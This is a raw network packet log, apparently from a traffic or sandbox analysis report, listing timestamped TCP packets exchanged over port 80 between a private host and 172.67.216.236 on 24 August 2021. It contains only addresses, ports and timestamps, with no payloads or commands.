Aug 24, 2021 14:01:50.865205050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865221977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865228891 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865240097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865257025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865261078 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865287066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865299940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865307093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865325928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865353107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865354061 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865372896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865390062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865401030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865406990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865422964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865437031 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865441084 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865458012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865472078 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865478039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865495920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865504980 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865513086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865530968 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865544081 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865546942 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865564108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865576029 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865581989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865597963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865608931 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865618944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865637064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865648031 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865653038 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865670919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865683079 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865686893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865705013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865719080 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865722895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865741014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865750074 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865761995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865781069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865787029 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865797997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865814924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865823030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865832090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865849972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865859032 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865866899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865884066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865890980 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865904093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865922928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865930080 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865940094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865957022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865962982 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.865972996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865989923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.865999937 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866008043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866024017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866031885 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866044044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866060972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866069078 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866076946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866095066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866101980 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866111994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866131067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866137981 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866148949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866166115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866173983 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866183996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866199970 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866209030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866218090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866236925 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866245985 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866256952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866271973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866278887 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866288900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866306067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866312981 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866322994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866341114 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866347075 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866358042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866378069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866384983 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866395950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866413116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.866420984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.866455078 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.870548010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870583057 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870616913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870637894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870636940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.870675087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870701075 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.870704889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870722055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870738029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870744944 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.870773077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870779991 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.870807886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870834112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870843887 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.870858908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870876074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870892048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870898962 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.870908976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870924950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870934010 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.870942116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870963097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870969057 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.870980978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.870996952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871014118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871017933 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871030092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871037960 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871057034 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871073008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871074915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871103048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871128082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871170998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871198893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871208906 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871228933 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871259928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871269941 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871284008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871308088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871320963 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871324062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871344090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871366978 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871367931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871385098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871408939 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871412992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871431112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871454000 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871460915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871495962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871499062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871526003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871545076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871567011 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871571064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871609926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871612072 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871638060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871659040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871679068 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871695042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871712923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871740103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871741056 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871767044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871783972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871790886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871800900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871822119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871840954 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871848106 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871859074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871876955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871880054 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871893883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871901989 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871912003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871928930 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871932983 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.871946096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871967077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871984005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.871990919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872001886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872021914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872029066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872039080 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872055054 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872073889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872102022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872123003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872139931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872152090 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872167110 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872180939 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872193098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872219086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872236013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872236013 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872265100 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872282028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872289896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872298956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872322083 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872330904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872364998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872379065 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872390985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872417927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872431993 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872433901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872461081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872483969 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872487068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872504950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872541904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872545004 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872567892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872581005 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872585058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872603893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872636080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872667074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872668028 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872690916 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872697115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872721910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872744083 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872749090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872776031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872790098 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872802973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872818947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872838974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872843027 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872857094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872874022 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872874975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872893095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872910023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872912884 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872926950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872951031 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872953892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872972012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.872996092 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.872997999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873023987 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873045921 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873050928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873078108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873096943 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873105049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873132944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873158932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873158932 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873187065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873212099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873239994 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873241901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873253107 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873270035 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873291969 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873311996 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873320103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873342037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873357058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873358011 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873378038 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873405933 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873409033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873430967 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873449087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873459101 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873465061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873485088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873507977 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873513937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873543978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873567104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873573065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873581886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873595953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873611927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873641014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873644114 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873671055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873692989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873702049 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873712063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873739958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873742104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873765945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873780966 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873783112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873800039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873816967 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873830080 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873837948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873861074 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873867989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873886108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873903036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873912096 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873929977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873946905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873949051 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873965025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.873985052 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.873991013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874006987 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874023914 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874034882 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874042034 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874070883 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874072075 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874102116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874110937 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874135017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874176025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874178886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.874193907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.874219894 CEST	80	49724	172.67.216.236	192.168.2.3
